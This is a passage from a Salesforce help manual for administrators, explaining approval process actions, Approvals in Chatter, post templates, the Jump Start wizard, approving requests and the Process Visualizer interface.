Create

Managing Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit final rejection actions: Customize Application

Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action can change the status to Rejected, send an email notification, and unlock the record so that users can edit it before resubmitting. When a record has been rejected by all approvers, Salesforce executes all final rejection actions. A default final rejection action called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up to 40 additional actions to occur when a record is rejected, 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

To manage the final rejection actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and select the approval process. The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected. Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1710. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message.

1708

Create

Managing Approval Processes

Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Recall Actions
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit recall actions: Customize Application

Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For example, a recall action can change the status of a request from In Progress to Not Submitted. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. When a record has been recalled after submission, Salesforce executes all recall actions, including unlocking the record. You can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

To manage recall actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the approval process. The Recall Actions related list shows all the actions that take place when a record is recalled.

1709

Create

Managing Approval Processes

Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules that use it. This option is only available for some types of actions. Click Remove to remove the action from the approval process. This does not delete the action. This option is only available for some types of actions. Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1710. Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next, configure the action: Configure the email alert. Configure the field update. Configure the outbound message. Configure the task.

See Also:
Approval Process Terminology Getting Started with Approval Processes Managing Approval Steps Managing Approval Processes Process Visualizer Overview

Selecting Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To select approval actions: Customize Application

There are four types of approval actions: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

1710

Create

Managing Approval Processes

You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can also reuse these actions for workflow rules. Before you begin, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes and select the approval process you want associated with the actions. To select an approval action: 1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button does not appear on an approval step, click Show Actions. Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on creating actions, see Creating Approval Actions on page 1711. 2. Choose the type of action. 3. Select the action in the list of available actions and click Add to add the action to the list of selected actions. 4. Click Save.

See Also:
Managing Workflow and Approvals Managing Approval Processes Approval Processes Overview Approval Process Terminology Process Visualizer Overview

Creating Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval actions: Customize Application

Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example, you may have an expense approval process in Salesforce that you want to send an outbound message to your Oracle accounting service to print expense checks when expense approval requests are approved. To create an approval action: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Select the approval process you want associated with the action. 3. Click Add New from the appropriate related list. When creating actions for an approval step, click Show Actions if they are hidden. 4. Choose the type of action. The list of available actions differs depending on your settings and whether you have reached the limit for any type of action: Configure the email alert. Configure the field update. Configure the outbound message.

1711

Create

Managing Approval Processes

Configure the task. Note: The actions you create for approval processes can be reused in workflow rules.

See Also:
Managing Workflow and Approvals Managing Approval Processes Approval Processes Overview Approval Process Terminology Process Visualizer Overview

About Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. You can also customize the way the approval request post displays in Chatter by creating unique post templates and associating them with your approval processes. Tip: To get the most out of Approvals in Chatter, we recommend taking some time to prep your organization before turning it on. See Getting Started With Approvals in Chatter for implementation best-practices.

Where Can I Find Approval Request Posts? Approval request posts show up: In the assigned approver's Chatter feed On the submitter's profile, but not in their Chatter feed unless they're following the approval record In the Chatter feed of the approval record In the Chatter feed of anyone following the approval record In the object-specific filter on the Chatter tab of anyone following the approval record In the Company filter of every user with access to the approval record Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. Users who opt out of receiving approval request posts don't see them in their own feed but can see posts in the record's feed. Anyone with access to the approval record can see approval posts in the record feed.

1712

Create

Managing Approval Processes

Tip: To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in Chatter.

See Also:
Enabling Approvals in Chatter Approvals in Chatter Considerations Managing Approval Request Post Templates for Chatter Creating and Editing Approval Request Post Templates for Chatter Enabling, Disabling, and Configuring Chatter

Getting Started With Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Approvals in Chatter: Customize Application

Because it relies on both Chatter and Approvals, getting your organization set up for Approvals in Chatter involves more than just turning on the feature. To be sure that everything works correctly and that your users will see their approval requests as Chatter posts, we recommend that you follow these steps when you're ready to turn Approvals in Chatter on for your organization: 1. Create an approval process. 2. Make sure feed tracking is enabled for the object on which your approval process is based. 3. Create an approval post template for the object on which your approval process is based. If you want to make this the default template for all approval processes on this object, be sure to check the Default checkbox when configuring your post template. 4. Repeat steps 1 3 for all approval processes in your organization, as needed. 5. Enable Approvals in Chatter. Waiting to do this as the last step ensures that all approval processes in your organization are properly configured to take advantage of it. After turning it on, all existing active approval processes will start generating Chatter posts. Note: You can create custom post templates for one or more approval processes, but you can only associate custom post templates with approval processes after enabling Approvals in Chatter.

See Also:
About Approvals in Chatter Approvals in Chatter Considerations Viewing Approval Request Post Templates Enabling, Disabling, and Configuring Chatter

1713

Create

Managing Approval Processes

Enabling Approvals in Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Approvals in Chatter: Customize Application

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. 1. Click Your Name > Setup > Customize > Chatter > Settings. 2. Click Edit. 3. Select Allow Approvals. Users can enable or disable approval request posts for themselves. Users who opt out of receiving approval request posts don't see them in their own feed but can see posts in the record's feed. Anyone with access to the approval record can see approval posts in the record feed. Users who elect to receive approval requests via Chatter receive both an email notification and a post in their Chatter feed.

See Also:
About Approvals in Chatter Approvals in Chatter Considerations Getting Started With Approvals in Chatter Creating and Editing Approval Request Post Templates for Chatter Enabling, Disabling, and Configuring Chatter

Approvals in Chatter Considerations


Available in: Enterprise, Unlimited, and Developer Editions

Keep these issues in mind when working with Approvals in Chatter: After Approvals in Chatter is enabled in your organization, it is turned on for all users. Users can then opt out for themselves in their Chatter feed settings. Users who elect to receive approval requests via Chatter receive both an email notification and a post in their Chatter feed. To keep tabs on the progress of your submitted approval, we recommend you follow the approval record in Chatter. Different users see different configurations of the approval request post: Only approvers see approval action buttons on their posts, and then only in their profile feed or their news feed. Only approvers see approver names in the header. If a step requires unanimous approval from multiple approvers, the approval request post for that step doesn't list all selected approvers in its header. Approvers see only their own name in the post header.

1714

Create

Managing Approval Processes

When an approval request is recalled, a new post is generated. It appears on the news feeds of the submitter, all approvers and followers of the object, as well as on the record feed. If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval page layouts or approval post templates. If you change the approver, step name, or the routing type on an approval process while it's in progress, existing approval posts aren't updated. If you are an assigned approver and you opt out of receiving approval requests as posts while an approval is in progress, and you're not following the approval record, you won't see any new notification posts after opting out. However, if you are following the approval record, after opting out you will see approval posts from the record with non-approver content. Any approval notification posts you received prior to opting out are updated to show non-approver content, and the approve/reject buttons disappear from any existing posts in your feed. Approvals in Chatter works normally for approvals on Products, with one exception: If the product isn't active and the approver also doesn't have edit access to Products, approval post notifications for that product won't show up in the approver's feeds. The approver can only see approval posts in the product records feed.

Limitations Approvals in Chatter doesn't support delegated approvers or queues. You can't recall or reassign an approval request from a post. Both must be done from the approval record. Approval posts can't be deleted in the Salesforce user interface; you can only delete them through the API. Approval requests from Sites or portal users aren't supported.

See Also:
About Approvals in Chatter Getting Started With Approvals in Chatter Enabling Approvals in Chatter

Managing Approval Request Post Templates for Chatter


Available in: Enterprise, Unlimited, and Developer Editions

If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. With approval post templates for Chatter, you can customize the information that is included in the approval request post when it displays in a Chatter feed. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. To manage your custom approval post templates, click Your Name > Setup > Create > Workflow & Approvals > Post Templates. From the template list page, you can: Create a new post template. Click a template's name to go to its detail page. Edit or delete a post template.

1715

Create

Managing Approval Processes

Note: You can't delete a post template if it's in use by an approval process.

Keep these issues in mind when working with approval post templates: You can set a post template as the default template for an object by clicking Edit from the templates detail page. You can only create an approval post template for an object that is both enabled for approvals and supported for Chatter feed tracking. You can't associate a post template to an approval process unless feed tracking for the object has been turned on. Deleting a custom field from a standard object removes the custom field from any post template that refers to that object. Existing posts using the template aren't affected. Undeleting the custom field restores it to the available fields list and to any post templates that contained it previously. Deleting a custom field from a custom object removes the custom field from any post template that refers to that object. Undeleting the custom field in this case restores it to the available fields list, but does not restore it to the post templates that contained it previously. Hard deleting a custom object removes all post templates related to it. Soft deleting a custom object makes related post templates invisible on the template list page. Existing posts using affected templates aren't changed. Undeleting the custom object restores the post templates associated with it. If you rename a custom object, post templates associated with it update accordingly.

See Also:
About Approvals in Chatter Getting Started With Approvals in Chatter Creating Approval Processes Managing Deleted Custom Fields

Creating and Editing Approval Request Post Templates for Chatter


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and view approval request post templates: Customize Application

With approval post templates for Chatter, you can customize what information gets included in the approval request post when it displays in a Chatter feed. 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Create > Workflow & Approvals > Post Templates. Click New Template. Select the object for your template. Click Next. Enter a template name. Optionally, change the template's unique name.

1716

Create

Managing Approval Processes

7. Enter a description. 8. Select the checkbox to make this the default template for the associated object. 9. Select up to five fields to display on the approval request post and click Add. 10. Sort the fields by selecting them and clicking Up or Down. 11. Click Save. Note: You can only create an approval post template for an object that is both enabled for approvals and supported for Chatter feed tracking. You can't associate a post template to an approval process unless feed tracking for the object has been turned on. You can edit an approval post template in two ways. First go to Your Name > Setup > Create > Workflow & Approvals > Post Templates. Click Edit in the Action column. Click a template name, then click the Edit button from the template detail page.

See Also:
Managing Approval Request Post Templates for Chatter Viewing Approval Request Post Templates About Approvals in Chatter Getting Started With Approvals in Chatter

Viewing Approval Request Post Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and view approval request post templates: Customize Application

To view approval post request template details, go to Your Name > Setup > Create > Workflow & Approvals > Post Templates, then click the name of a template. From this page, you can: View template details, such as its object, name, description, and any object fields included. See whether this template is set as the default for the associated object. Click Edit to set the template as the object's custom default template. Edit, delete, or clone the template. Note: You can't delete a post template if it's in use by an approval process.

Using the Approval Process Jump Start Wizard


1717

Create

Managing Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However, to make your process as functional and complete as possible, there are a few things you should do first: 1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field on the user object. 2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has enabled email approval response, be sure the email template you use describes how to correctly use both response options: clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 436. For information on email approval response, see Customizing Workflow and Approval Settings on page 1648. 3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved or rejected. 4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information, see Managing Workflow and Approvals on page 1636. Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections on page 1721. To use the jump start wizard to create an approval process: 1. 2. 3. 4. 5. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. Choose the object for the new approval process. Click Create New Approval Process and choose Use Jump Start Wizard from the drop-down button. Enter a name for the new approval process. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave this field blank to use the default email template. Each approval process uses a single email template for all steps. For more information on creating email templates, see Managing Email Templates on page 436. Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response. If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you

1718

Create

Managing Approval Processes

use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. 7. Select Add Approval History Related List... to update all the page layouts for this object to include a related list that allows users to submit approval requests and track them. 8. If only certain types of records should enter this approval process, do one of the following: Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For example, if only employees from headquarters should use this approval process to submit expense reports, enter the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering Filter Criteria on page 2645. a. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want all records submitted to be included in the approval process. For information on using filter criteria, see Entering Filter Criteria on page 2645. Note: Select a current user field if you want to filter based on the user submitting an approval request.

b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Select formula evaluates to true if you want a formula to determine what records enter the approval process. a. Enter a formula that returns True or False. A record enters the approval process if the formula returns True. For example, use the following formula to require a record to enter this approval process when the record's discount approval cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. For information on using formulas, see Building Formulas on page 1053. Some functions are not available in approval process formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on page 1107. 9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.

Prompts the user to manually select the next approver. Automatically assign an approver using a standard or custom hierarchy field. Assigns the approval request to the user in the field displayed in this option. For example, you may want approval requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field. Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account Manager user field. To create a new custom field, click Create New Field from this option. For information on creating a custom field, see Creating Custom Fields on page 981.

1719

Create

Managing Approval Processes

Automatically assign to a queue.

Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information on queues, see Managing Queues on page 559. For more information on approval requests assigned to queues, see Approval Process Considerations on page 1691.
Automatically assign to approver(s).

Assigns the approval request to one or more of the following:


User

Any Salesforce user in your organization.


Related User

A user specified in any user lookup field on the submitted record, such as the Last Modified By field. Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step. Note: When specifying approvers, note the following: Make sure the assigned approvers have permission to read the records for the approval request. For example, a user who does not have read access to an Expense custom object can't view expense approval requests. You can't assign approval requests to partner users. You can't use email approval response with an approval process in which a queue is the assigned approver. You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes such redundancies and only requests a single approval from the user. After a record enters an approval step, the designated approvers for that step don't change even if the approval process returns to that step and the values of related user fields that designate the approvers have changed. For example, consider an approval process in which the first step requests approval from a user's manager. If the approval request is rejected in the second step and sent back to the first step, the user's original manager receives the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following: Approve or reject based on the first response. The first response to the approval request determines whether the record is approved or rejected. Require unanimous approval from all selected approvers. The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the approvers reject the request. 11. Click Save to return to the Approval Process Detail page. 12. Select approval actions. For more information, see Selecting Approval Actions on page 1710. 13. When you are ready to use the approval process, activate it: a. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.

1720

Create

Managing Approval Processes

b. Click Activate next to an inactive process to activate it.

See Also:
Choosing an Approval Process Wizard Creating Approval Processes Examples of Approval Processes Process Visualizer Overview

Approval Process Jump Start Default Selections


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

The jump start wizard automates creating an approval process by automatically choosing some default options for you. When you use the jump start wizard, your approval process will have the following attributes: Users must have the Modify All object-level permission for the given object, or the Modify All Data permission, to edit records that are awaiting approval in the approval process. The approval request page layout displays the record name (or number), owner, date created, and approval history. The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile device. The owner of a record is the only person who can submit an approval request. Records are locked when submitted for approval. Records remain locked until approved or rejected. Rejected records are unlocked. Only administrators can recall a record after it is submitted for approval. There are no auto-approve or auto-reject actions. No email notification is sent upon approval or rejection. No field values are automatically updated during the approval process. An approver cannot automatically delegate another user to approve his or her approval requests. The Allow submitters to recall approval requests option is not selected.

After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit from any approval process list page, and you can add additional steps from the approval process detail page. However, you cannot edit the Record Lock action on the Initial Submission Actions list.

1721

Create

Processing Approval Requests

Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and actions that comprise your approval process.

See Also:
Using the Approval Process Jump Start Wizard Choosing an Approval Process Wizard

Processing Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To approve, reject, or reassign approval requests: Permissions vary depending on the approval process settings

Your administrator can set up an approval process that lets you submit records for approval. Depending on the approval process settings, records may need to have specific attributes before you can submit them. Also, a single record may need to go through several layers of approval. Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the Approval History related list on a record detail page. For more information; see Approval History on page 1724. You can also manage your assigned approval requests from the Items To Approve related list on the Home tab. See Items to Approve on page 1723. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

Approving and Rejecting Requests Via Email


If you are the assigned approver for an approval request, you will receive an email notification. To approve requests via email: 1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact your administrator. 2. Click Approve. 3. Enter any comments you want attached to the approval request. 4. When available, select the next approver. 5. Click Approve. To reject requests via email: 1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact your administrator. 2. Enter any comments you want attached to the approval request. 3. Click Reject.

1722

Create

Processing Approval Requests

If email approval response is enabled, you can alternatively reply to the email notification by typing the word approve, reject, approved, rejected, yes or no in the first line of the email body. You can also add comments in the second line. Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333 characters.

Approving and Rejecting Requests via Chatter


If your organization has Approvals in Chatter enabled, you can opt to receive approval request notifications as Chatter posts in addition to receiving them as emails. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. To approve or reject approval requests in Chatter, click the Approve or Reject buttons on the post.

See Also:
Approval Process Terminology Approval Processes Overview Managing Multiple Approval Requests Process Visualizer Overview

Items to Approve
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Items to Approve related list: Permissions vary depending on the approval process settings

The Items to Approve related list tracks the open approval requests assigned to you. If your administrator has created an approval process for your organization, you may see this related list on your home page. Depending on the approval process settings, you can: Click an approval request to view more details about it. To assign the approval request to another user, click Reassign next to an item. To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next to an item. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record. Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate boxes. Optionally, check the box in the column header to select all currently displayed items.

1723

Create

Processing Approval Requests

Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click Save. Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject all selected approval requests at once. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Processing Approval Requests Approval Process Terminology Approval Processes Overview Managing Multiple Approval Requests

Approval History
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use the Approval History related list: Permissions vary depending on the approval process settings

The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following: To submit a record for approval, click Submit for Approval. Salesforce begins the approval process if any approval processes apply to the record. This option is not available after the record has been submitted. Depending on the approval process, you may be prompted to select the next approver. To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page 1709. To assign the approval request to another user, click Reassign next to an item. To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next to an item. Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

1724

Create

Process Visualizer Overview

Depending on how your administrator customizes the Approval History related list, it can contain the following Status values:
Status

Definition The record has been submitted for a approval. The record has been submitted for approval and is awaiting approval or rejection. The record has been approved. The record has been rejected. The record has been submitted for approval but assigned to a different approver. The record was submitted for approval but recalled from the approval process.

Submitted Pending Approved Rejected Reassigned Recalled

Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator to find out about the attributes a record must have to be included in an active approval process for your organization.

See Also:
Processing Approval Requests Approval Process Terminology Approval Processes Overview Process Visualizer Overview

Process Visualizer Overview


Available in: Enterprise, Unlimited, and Developer Editions

You can use the Process Visualizer to: Display a flowchart of each saved approval process Improve communication about the approval process and gain buy-in from step owners Reinforce your company's policies by documenting the decisions you reached when the approval process was designed Print an annotated version of the approval process, where numbers added to the diagram correspond to details in a table, which is included in the printable view Share approval process diagrams by saving annotated versions as PDF files (requires an Adobe PDF print driver) Help you quickly locate key details by searching multi-step or complex diagrams for matching text Help you visualize and understand graphically: The steps necessary for a record to be approved The designated approvers for each step The criteria used to trigger the approval process

1725

Create

Process Visualizer Overview

The specific actions to take when a record is approved, rejected, recalled, or first submitted for approval

See Also:
Launching the Process Visualizer Understanding the Process Visualizer User Interface Understanding the Process Visualizer Notation Getting Started with Approval Processes

Launching the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed To view approval steps: View Setup and Configuration

Before you can use the Process Visualizer, you must: Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser Have at least one approval process defined in your organization

After completing the prerequisites: 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Click the name of the approval process you want to view. 3. On the detail page for the approval process, click View Diagram. Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer. After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window is still open, click Refresh.

See Also:
Understanding the Process Visualizer User Interface Understanding the Process Visualizer Notation Process Visualizer Overview

Understanding the Process Visualizer User Interface

1726

Create

Process Visualizer Overview

Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed To view approval steps: View Setup and Configuration

This topic contains the following sections: About the Process Visualizer UI Displaying Hover Details for an Approval Process Diagram Displaying Approval Process Properties Printing Diagrams and Saving PDFs Finding Text in a Diagram on page 1729 Refreshing an Approval Process Diagram Changing an Approval Process Diagram's Zoom Level Using the Navigator

About the Process Visualizer UI The user interface for the Process Visualizer has several functional areas.

Figure 14: Process Visualizer User Interface The highlighted numbers in the illustration correspond to the following descriptions: 1. The main area contains the approval process diagram, helping you visualize the overall flow, rules, actions, and dependencies. The diagram's orientation is top-to-bottom, left-to-right. The entry criteria for the approval process are shown at the top of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component uses a shape, an icon, or both to represent the type of processing that may happen.

1727

Create

Process Visualizer Overview

2. The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (shown or hidden). 3. The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons to scroll through your matches. 4. Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties, which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval and whether it has been activated. Expand the pane by clicking the arrow icon. 5. The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component on the diagram. You can hover over or click a component to view its details. 6. In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts of the diagram. 7. In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram. 8. In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or show the legend and navigator. Displaying Hover Details for an Approval Process Diagram When you hover over or click a flowchart component, the Process Visualizer displays information about it in the sidebar, which remains there until you hover over or click a different component. The following table lists the type of information you can see in the hover details. Component Type Approval steps Hover Detail Message Formats Approval required from: User: user-name Role: role-name Or if defined for the step, one of the following values: Submitter can choose approver Automatically assigned to Manager field Unanimous approval required from: approver-1,
approver-n...

Approval based on first response from: approver-1,


approver-n... Related User: object-name Owner

The approver's delegate may also approve this request

Description: Field updates Update field-name with lookup value: lookup-value Update field-name with value: value Update field-name with formula: formula

Email alerts

Send (email-template) email to recipient-1, recipient-n... and additional recipients: cc email


field of email alert

Tasks Outbound messages

Assign task to assignee with due date: date Send to endpoint endpoint-url the following fields: field-1, field-n,...

1728

Create

Process Visualizer Overview

Displaying Approval Process Properties In the sidebar, the Approval Process Properties pane lists the information shown in the following table. Click the arrow to expand or collapse it. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (expanded or collapsed). Property Process Name Entry Criteria? Active? Description Record Editability Next Automated Approver Determined By Approval Assignment Email Template Initial Submitters Allow Submitters to Recall Approval Requests? Created By Modified By Description A user-defined name of the approval process. Appears only when there are no entry criteria for the process, displaying with a No value. Indicates whether the approval process is active. The description of the approval process. Shows the defined value for this property. For example: Administrator or current approver. Shows the value for this property. For example: Manager of Owner The name of the template used for email alerts. For example: Leads: New assignment notification (SAMPLE) Shows the defined value for this property. For example: Record Owner Shows the defined value, Yes or No, for this property. The name of the person who created the approval process. The name of the last person to modify the approval process.

Printing Diagrams and Saving PDFs To print an annotated version of the diagram, click Printable View. In this view, the numbers on the diagram correspond to details shown in a table directly below it. Use the printed or PDF version of the diagram to communicate information about the approval process, get buy-in from the people who participate in the approval decisions, and help the approval process users understand the requirements and flow. Click Print and select a printer. If you have an Adobe PDF print driver installed, you can save the printable view as a PDF file. To return to the diagram, click Exit Printable View. Finding Text in a Diagram Use the find function in the Process Visualizer banner to find detailed information quickly. This is helpful when you view a diagram with ten or more steps, complex formulas, or the names of many people or roles on the approvers' lists. You can find matching text within the diagram and the Approval Process Properties pane, and view the results highlighted in the sidebar. The number of matches is displayed beside the Previous and Next buttons, which you can use to scroll through your matches. Find is case insensitive, and treats the search terms as a phrase in quotes. Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the arrow next to the Find field, select Tasks, then enter Jane Smith. Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram and navigation pane.

1729

Create

Process Visualizer Overview

Refreshing an Approval Process Diagram Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer. After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window is still open, click Refresh. Changing an Approval Process Diagram's Zoom Level Use the zoom slider in the upper left to change the diagram's size. Click + to zoom in, and to zoom out, or drag the slider tab up and down the bar. This feature is especially helpful when you are viewing large, complex approval processes in the Process Visualizer. Note: The zoom feature is only visible for diagrams that exceed the dimensions of the display window.

Using the Navigator Click and drag the pane around the navigator window to quickly view different areas of a large approval process diagram. When you use the find feature, the navigator window changes to highlight the matches, which allows you to see items not visible in the main diagram display area. The navigator also reflects changes to the size of the diagram in the main display when you use the zoom slider.

See Also:
Launching the Process Visualizer Understanding the Process Visualizer Notation Process Visualizer Overview

Understanding the Process Visualizer Notation


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed To view approval steps: View Setup and Configuration

